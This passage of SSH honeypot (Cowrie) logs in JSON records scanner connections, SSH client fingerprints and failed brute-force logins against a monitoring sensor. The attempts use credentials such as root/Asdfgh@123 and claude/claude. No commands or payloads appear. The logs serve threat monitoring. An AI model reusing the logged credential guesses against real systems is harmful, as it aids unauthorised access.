h-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:50.402088Z","src_ip":"43.153.56.192","session":"ced4ca55f00f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Netwatch!@#","message":"login attempt [root/Netwatch!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:50.707005Z","src_ip":"43.153.56.192","session":"ced4ca55f00f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:51.778543Z","src_ip":"43.153.56.192","session":"ced4ca55f00f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":58236,"dst_ip":"10.17.0.5","dst_port":22,"session":"055c3f9ff796","protocol":"ssh","message":"New connection: 43.173.83.154:58236 (10.17.0.5:22) [session: 055c3f9ff796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:01.224430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:01.230963Z","src_ip":"43.173.83.154","session":"055c3f9ff796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:01.309700Z","src_ip":"43.173.83.154","session":"055c3f9ff796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:01.622409Z","src_ip":"43.173.83.154","session":"055c3f9ff796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:02.698134Z","src_ip":"43.173.83.154","session":"055c3f9ff796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":52296,"dst_ip":"10.17.0.5","dst_port":22,"session":"e420f6128432","protocol":"ssh","message":"New connection: 20.203.59.187:52296 (10.17.0.5:22) [session: e420f6128432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:05.032719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:05.038205Z","src_ip":"20.203.59.187","session":"e420f6128432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:05.215864Z","src_ip":"20.203.59.187","session":"e420f6128432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":56290,"dst_ip":"10.17.0.5","dst_port":22,"session":"29b60d5ba25d","protocol":"ssh","message":"New connection: 43.153.50.197:56290 (10.17.0.5:22) [session: 29b60d5ba25d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:05.566769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:05.571898Z","src_ip":"43.153.50.197","session":"29b60d5ba25d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:05.640887Z","src_ip":"43.153.50.197","session":"29b60d5ba25d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cj","message":"login attempt [root/cj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:05.918056Z","src_ip":"20.203.59.187","session":"e420f6128432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"driver","message":"login attempt [root/driver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:05.955820Z","src_ip":"43.153.50.197","session":"29b60d5ba25d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:07.027799Z","src_ip":"43.153.50.197","session":"29b60d5ba25d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:07.089982Z","src_ip":"20.203.59.187","session":"e420f6128432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":50098,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc6e231b37bc","protocol":"ssh","message":"New connection: 43.135.164.198:50098 (159.203.135.109:22) [session: bc6e231b37bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:10.619725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:10.624661Z","src_ip":"43.135.164.198","session":"bc6e231b37bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:10.696755Z","src_ip":"43.135.164.198","session":"bc6e231b37bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":55926,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cba9750dd95","protocol":"ssh","message":"New connection: 209.99.190.200:55926 (10.17.0.5:22) [session: 0cba9750dd95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:10.813576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:10.819067Z","src_ip":"209.99.190.200","session":"0cba9750dd95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:10.911953Z","src_ip":"209.99.190.200","session":"0cba9750dd95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sue","message":"login attempt [root/sue] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:11.025779Z","src_ip":"43.135.164.198","session":"bc6e231b37bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6969","message":"login attempt [root/6969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:11.312809Z","src_ip":"209.99.190.200","session":"0cba9750dd95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.157","src_port":45276,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2848ee6975d","protocol":"ssh","message":"New connection: 45.148.10.157:45276 (159.203.135.109:22) [session: a2848ee6975d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:11.702424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:11.706970Z","src_ip":"45.148.10.157","session":"a2848ee6975d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:11.791744Z","src_ip":"45.148.10.157","session":"a2848ee6975d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:12.097075Z","src_ip":"43.135.164.198","session":"bc6e231b37bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:12.160300Z","src_ip":"45.148.10.157","session":"a2848ee6975d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:12.408726Z","src_ip":"209.99.190.200","session":"0cba9750dd95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":41324,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a85f5901ee4","protocol":"ssh","message":"New connection: 103.98.149.87:41324 (159.203.135.109:22) [session: 5a85f5901ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:23.760264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:23.765234Z","src_ip":"103.98.149.87","session":"5a85f5901ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:23.988681Z","src_ip":"103.98.149.87","session":"5a85f5901ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z1x2c3","message":"login attempt [root/z1x2c3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:24.709415Z","src_ip":"103.98.149.87","session":"5a85f5901ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":44150,"dst_ip":"159.203.135.109","dst_port":22,"session":"38b88cd91849","protocol":"ssh","message":"New connection: 171.244.37.97:44150 (159.203.135.109:22) [session: 38b88cd91849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:25.643879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:25.648908Z","src_ip":"171.244.37.97","session":"38b88cd91849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:25.904469Z","src_ip":"171.244.37.97","session":"38b88cd91849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdfgh@123","message":"login attempt [root/Asdfgh@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:26.954813Z","src_ip":"171.244.37.97","session":"38b88cd91849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:27.243311Z","src_ip":"103.98.149.87","session":"5a85f5901ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.53.168.23","src_port":35398,"dst_ip":"10.17.0.5","dst_port":22,"session":"13d81f3b88f4","protocol":"ssh","message":"New connection: 163.53.168.23:35398 (10.17.0.5:22) [session: 13d81f3b88f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:27.872968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:27.878242Z","src_ip":"163.53.168.23","session":"13d81f3b88f4","protocol":"ssh"}
